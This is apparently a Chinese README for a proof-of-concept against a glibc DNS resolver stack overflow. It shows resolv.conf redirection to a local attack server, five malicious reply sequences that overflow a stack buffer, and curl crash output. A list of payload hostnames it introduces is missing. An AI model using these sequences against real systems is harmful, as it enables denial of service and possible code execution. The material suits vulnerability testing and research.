在本地机器上使用有漏洞的 glibc 版本进行测试:
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
然后,在另一个终端会话中,按以下示例执行攻击。
需要能够通过 UDP 和 TCP 发送大于 2048 字节的回复。
攻击序列:
UDP 回复,> 2048 字节,有效头/问题,TC 标志置位(触发缓冲区管理不当和 TCP 重试)
TCP 回复,有效头/问题(强制下一个回复存储到栈分配缓冲区)
TCP 回复,> 2048 字节(溢出栈分配缓冲区)
示例:
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
需要能够通过 UDP 发送大于 2048 字节的回复。
攻击序列:
UDP 回复,> 2048 字节,无效头(触发缓冲区管理不当,不计为有效响应)
忽略下一个请求(由于轮询超时触发 UDP 重试)
UDP 回复,有效头/问题(强制下一个回复存储到栈分配缓冲区)
UDP 回复,> 2048 字节(溢出栈分配缓冲区)
示例:
user@localhost:/$ curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
需要能够通过 UDP 发送大于 1024 字节的回复,并通过 TCP 发送大于 2048 字节的回复。
攻击序列:
UDP 回复,1024 字节,有效头/问题(填满栈分配缓冲区的一半)
UDP 回复,> 1024 字节,有效头/问题,TC 标志置位(触发缓冲区管理不当和 TCP 重试)
TCP 回复,有效头/问题(强制下一个回复存储到栈分配缓冲区)
TCP 回复,> 2048 字节(溢出栈分配缓冲区)
示例:
user@localhost:/$ curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
需要能够通过 UDP 发送大于 2048 字节的回复。
攻击序列:
UDP 回复,2048 字节,有效头/问题(填满栈分配缓冲区)
UDP 回复(触发缓冲区管理不当和 UDP 重试,因为 0 字节套接字接收)
UDP 回复,有效头/问题(强制下一个回复存储到栈分配缓冲区)
UDP 回复,> 2048 字节(溢出栈分配缓冲区)
示例:
user@localhost:/$ curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
需要能够通过 TCP 发送大于 2048 字节的回复,并且 /etc/resolv.conf 中至少有两个 nameserver 条目。
攻击序列:
UDP 回复,有效头/问题,TC 标志置位(可选,如果初始查询通过 UDP 则触发 TCP 重试)
TCP 回复,> 2048 字节(触发缓冲区管理不当)
TCP 回复,空(触发 TCP 重试,因为 0 字节套接字接收)
TCP 回复,有效头/问题(强制下一个回复存储到栈分配缓冲区)
TCP 回复,> 2048 字节(溢出栈分配缓冲区)
示例:
user@localhost:/$ curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
要触发服务器返回指定大小的有效 A/AAAA 回复,请请求以下之一:
请求可以通过 UDP 或 TCP 发出,响应将包含适当数量的有效 A 或 AAAA 答案,以将回复填充到请求的大小。当 PoC 服务器设置为测试域的权威名称服务器时,这允许探索 DNS 缓存层次结构在面对超大回复时的行为。
示例:
user@localhost:/$ curl http://payload1.somedomain.com